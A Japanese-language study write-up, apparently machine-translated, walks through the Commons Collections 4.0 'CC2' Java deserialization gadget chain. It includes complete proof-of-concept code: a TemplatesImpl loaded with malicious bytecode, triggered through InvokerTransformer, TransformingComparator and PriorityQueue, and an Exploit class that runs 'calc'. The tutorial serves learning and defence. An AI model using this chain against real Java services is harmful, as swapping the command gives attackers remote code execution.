0x01バイトコードプログラミング
CC2 チェーンを学習する前に、バイトコード プログラミングとは何かを理解する必要があります。
Maven プロジェクトに依存関係をインポートする
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
バイトコード プログラミングはリフレクションに少し似ていますが、リフレクション メカニズムよりも強力です。
リフレクション機構では、クラスを動的にロードしたり、オブジェクトを作成したり、クラスのメソッドやプロパティを取得したりできます。リフレクション メカニズムは、すでに作成されたクラスに対して動作します。ただし、バイトコード プログラミングでは、クラスを動的にロードするだけでなく、プログラムの実行中にニーズに応じて新しいクラスを作成したり、任意のクラスのメソッドやプロパティを変更または追加したりすることもできます。
ClassPool: JVM クラス ローダーと同様に、クラスの作成やクラスのロードなど、ClassPool クラスが制御できるクラスのバイトコード
CtClass: CtClass は、新しいフィールド、メソッド、コンストラクターをクラスに動的に追加するなどのクラス操作や、クラス、親クラス、インターフェイスを変更するメソッドを提供します。
CtField: クラスの属性。これを使用してクラスの新しい属性を作成したり、既存の属性のタイプ、アクセス修飾子などを変更したりできます。
CtMethod: クラス内のメソッドを示します。これを使用して、クラスの新しいメソッドを作成したり、戻り値の型やアクセス修飾子などを変更したり、メソッド本体のコンテンツ コードを変更したりすることもできます。
CtConstructor: CtMethod クラスの役割と同様に、クラスの構造にアクセスするために使用されます。
0x02 建設チェーン分析
CC2 チェーンは、Apache Commons Collections コンポーネントのバージョン 4.0 を使用して構築されます。前任者の POC を最初に置きます。
CC2Test.java
package com.cc;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2Test {
public static void main(String[] args) throws Exception {
//构造恶意类Exploit并转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.cc.Exploit");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
//触发漏洞
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
//序列化 ---> 反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
}
}
Exploit.java
package com.cc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exploit extends AbstractTranslet {
public Exploit() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
// TODO Auto-generated method stub
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
// TODO Auto-generated method stub
}
}
次の段階的な分析プロセス。
1. 悪意のあるクラスを構築して悪用し、バイトコードに変換する
//获取classPoll类对象池,可以获取各种类的CtClass
ClassPool classPool = ClassPool.getDefault();
//获得恶意类Exploit的Ctclass对象
CtClass ctClass = classPool.getCtClass("com.cc.Exploit");
//将上面的CtClass对象转为字节码
byte[] bytes = ctClass.toBytecode();
ここでは、バイトコード プログラミングの基本的なクラスとメソッドをいくつか紹介します。CtClass を理解する必要があります。Java のすべてのクラスは Class オブジェクトを生成し、CtClass は Class オブジェクトのコントローラーとみなすことができ、Class オブジェクトを作成でき、また Class オブジェクト内のメソッドやプロパティを追加または変更することもできます。
2. 悪意のあるエクスプロイト バイトコードを TemplatesImpl オブジェクトに配置します。
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
Object TemplatesImpl_instance = constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(TemplatesImpl_instance , "TestTemplatesImpl");
これらは、_bytecodes 属性と _name 属性が設定される理由に焦点を当てた、一部のリフレクションの基本操作です。
分析用のソース コードを入力します。TemplatesImpl クラスの _bytecodes 属性はバイト配列、_name は文字列です。重要な点は、defineTransletClasses メソッドで、_bytecodes に格納されている悪意のあるバイトコードが Class オブジェクトに変換され、_class 属性に格納されるということです。注: _class は、悪意のある Exploit クラスの Class オブジェクトを保存するようになりました。
したがって、悪意のある Class オブジェクトを _class にロードしたい場合は、次の条件を満たすメソッドを見つけます。
1. まず、defineTransletClasses メソッドを呼び出します (悪意のある Class オブジェクトを _class 属性に渡します)。
2. _class 属性を指定して newInstance を呼び出し、悪意のある Class オブジェクトをロードします。
getTransletInstance メソッドにロックする
コードの先頭で、_name が空の場合は直接返されるため、_name 属性の値を設定する必要があります。_class が空になった直後に、defineTransletClasses メソッドを呼び出し、悪意のある Class オブジェクトを _class 属性に渡し、newInstance リフレクションを通じて _class に格納される悪意のある Class オブジェクトを作成します。
もう 1 つ説明しなければならない簡単な点があります。それは、この _transletIndex の値です。
defineTransletClasses メソッド内
_class に格納されている Class オブジェクトが AbstractTranslet のサブクラスであるかどうかを判断するため、悪意のあるクラスを構築する場合は AbstractTranslet を継承する必要があります。
getTransletInstance に戻り、引き続き getTransletInstance メソッドが呼び出される場所を見つける必要があります。newTransformer メソッドに移動します。
3. 活用チェーンの構築
次に、重要な点は、newTransformer メソッドを呼び出す方法です。CC1 チェーンの InvokerTransformer クラスに戻ると、iMethodName、iParamTypes、および iArgs に渡された 3 つのメンバー属性に従ってメソッドを反映する変換メソッドがあります。したがって、newTransformer を iMethodName プロパティに渡すことができます。
//构造利用链
InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
TransformingComparator transformer_comparator =new TransformingComparator(transformer);
現時点では、引き続き InvokerTransformer の変換メソッドが呼び出される場所を探し、Serializable インターフェイスも実装する必要があります。彼の中にcompareメソッドであるTransformingComparatorクラスが見つかりました。
トランスフォーマー属性は制御可能であり、構築メソッドを通じて渡すことができます。上記の InvokerTransformer オブジェクトは、TransformingComparator クラスのトランスフォーマー属性に渡されます。比較メソッドが呼び出されると、InvokerTransformer クラスのトランスフォーム メソッドが実行されます。リフレクション メカニズム。TemplatesImpl オブジェクトの newTransformer メソッドを呼び出します。
4. PriorityQueue を介して利用チェーンをトリガーする
3 の分析によると、TransformingComparator で比較メソッドを呼び出すメソッドを見つける必要があります。
分析: TransformingComparator は Comparator インターフェイスを実装しており、カスタム コンパレーターです。コレクションを利用する場合、コレクション内に2つのクラスを格納するには、メソッド内の定義に従ってコレクション内の要素を操作できるように、Comparatorインターフェースとcompareメソッドを実装する必要があります。
したがって、コレクション、TransformingComparator コンパレーターを使用できます。このコレクションは Serializable インターフェイスも実装し、readObject メソッドを書き換える必要があります。また、Comparator コンパレーターがメソッド内で呼び出されます。
PriorityQueue クラスは上記の条件を満たします。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
//设置comparator属性为TransformingComparator对象
Field field=queue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,transformer_comparator);
//设置queue属性为 保存了“恶意类Exploit”字节码的TemplatesImpl对象
field=queue.getClass().getDeclaredField("queue");
field.setAccessible(true);
//队列至少需要2个元素
Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
field.set(queue,objects);
poc のコードのこの部分によると、PriorityQueue オブジェクト
コンパレータ属性は、Transformer_comparatorです。これは、 TransformingComparator コンパレータです。
キュー属性は、「悪意のあるクラスのエクスプロイト」バイトコードを保存する TemplatesImpl オブジェクトの配列です。
これら 2 つの点を理解した上で、readObject メソッドを見てみましょう
まず、s.readObject() メソッドが周期的に呼び出され、「悪意のあるクラス Exploit」のバイトコードを保存した TemplatesImpl オブジェクトをJava オブジェクトに復元し、上記のキュー (配列) に格納した後、ヒープ化メソッド。引き続きフォローアップして heapify メソッドを確認してください
キュー内の各オブジェクトをパラメータとして siftDown メソッドに渡し、引き続き siftDown メソッドのフォローアップを行います。
コンパレータ属性がTransformingComparatorコンパレータに設定されているため、コンパレータが空かどうかの判断が行われることに注意してください。そのため、siftDownUsingComparator メソッドを直接フォローアップし、同じ仮パラメータ x がキュー属性です。
コンパレータが siftDownUsingComparator メソッドで呼び出されていることがわかります。
comparator 属性はTransformingComparatorコンパレータです。つまり、TransformingComparator の Compare メソッドが呼び出されます。
5. デシリアライゼーション
逆シリアル化の際には、PriorityQueue の readObject メソッドが呼び出され、上記のエクスプロイト チェーンに従って実行されます。
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object object = ois.readObject();
0x03 エピローグ
最近の Java の研究により、コード解析能力もある程度向上しました。CC1 チェーンを学習していたときは、まだ混乱していましたが、今ではますます便利になりました。学習を続け、継続的に進歩しています。 。